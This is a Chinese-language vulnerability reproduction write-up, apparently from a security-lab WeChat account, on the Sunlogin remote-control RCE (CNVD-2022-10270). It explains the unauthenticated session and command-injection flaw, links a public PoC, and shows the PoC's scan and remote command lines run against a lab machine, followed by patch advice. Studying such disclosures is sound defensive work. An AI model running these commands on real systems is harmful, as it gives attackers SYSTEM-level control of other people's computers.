0x01:漏洞原理
当向日葵client在windows运行时,会连接远程Oray的服务器,开放对外接口,接口统一由sunlogin 处理,且开启监听外部的连接访问端口,大概在50000左右,可通过工具测试,低版本向日葵RCE主要发生在对外开放的接口/check 处,当cmd的值为ping/nslookup开头时触发
向日葵在启动的时候会随机启动一个4W+高位端口,具体在 sub_140E0AAE8 可看到,随后载入IDA,对CID关键字进行搜索sub_140E20938、sub_140E1C954、sub_140E1A1F4,往上跟发现分别对应接口/cgi-bin/rpc 和 /cgi-bin/login.cgi ,其中在函数 sub_140E1C954 对应接口功能 /cgi-bin/rpc 中,传入如下参数即可在未授权的情况下获取到有效session,在知道被控端的验证码和识别码的情况下传入如下参数可获取到session。在知道主机的帐密的情况下通过 /cgi-bin/login.cgi 接口传入如下参数可获取到session 并返回设备的公网、内网地址等信息,该接口同时可用作暴力破解
0x02:描述以及准备
1.描述
向日葵远程控制是上海贝锐信息科技的一款提供远程控制服务的国产软件,CNVD-2022-10270/CNVD-2022-03672,漏洞是二月十六号发现,官方于二月二十多号修复的
2.影响版本
已测试存在远程命令执行漏洞的一些版本如下:
向日葵个人版≤11.0.0.33(包括绿色版和安装版)
向日葵简约版<=V1.0.1.43315 (2021.12)
3.影响系统
Windows、Linux、Mac、Android、iOS
4.利用场景
如果已经在内网中,直接可以扫描发现内网中使用向日葵的电脑,RCE后可以直接控制这台电脑。很少有电脑会把向日葵部署并且暴露在公网
5.需要的poc下载地址
https://github.com/Mr-xn/sunlogin_rce
6.poc参数说明
poc参数:
-h 指定目标
-t 选择扫描或者命令执行 默认scan
-p 设置扫描端口范围 默认4w到65535 -c 需要执行的命令
7.需要的环境
需要go语言环境
关于go语言环境的安装以及配置如下文章说明
https://www.cnblogs.com/zhangym/p/5570169.html
攻击机IP:192.168.77.128
靶机IP:192.168.77.129
0x03:复现过程
第一步
下载poc,并解压
第二步
将go代码进行编译 /*需要go语言环境*/
在解压出来的文件夹目录下打开cmd进行编译,输入代码:go build
踩坑
发现踩坑了,没有编译出exe文件,而是报上面的错
解决方法
这时候需要设置中国的go语言资源站为默认
输入命令:go env -w GOPROXY=https://goproxy.cn,direct
然后在输入第一次输入的命令:go build
这时候我们发现多了一个xrkRce.exe文件,就说明编译成功了
第三步
扫描目标向日葵端口
命令:.xrkrce.exe -h 192.168.77.129 -t scan
发现50363端口可能存在rce远程命令执行漏洞
第四步
远程命令执行查看shell权限
命令:.xrkrce.exe -h 192.168.77.129 -t rce -p 50363 -c "whoami"
发现是system权限
查看ip
命令:.xrkrce.exe -h 192.168.77.129 -t rce -p 50363 -c "ipconfig"
远程命令执行创建目录
命令:.xrkrce.exe -h 192.168.77.129 -t rce -p 50363 -c "md C:UsersasusDesktoptest"
发现这里生成了个文件夹
远程命令执行删除目录
命令:.xrkrce.exe -h 192.168.77.129 -t rce -p 50363 -c "Remove-Item C:UsersasusDesktoptest"
0x04:修复方法
目前官方已经发布了漏洞修复程序,只需将向日葵升级至最新版即可
免责声明
由于传播、利用本公众号NGC660安全实验室所提供的信息而造成的任何直接或者间接的后果及损失,均由使用者本人负责,公众号NGC600安全实验室及作者不为此承担任何责任,一旦造成后果请自行承担!如有侵权烦请告知,我们会立即删除并致歉。谢谢!
原文始发于微信公众号(NGC660安全实验室):【漏洞复现】向日葵RCE漏洞复现-CNVD-2022-10270
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论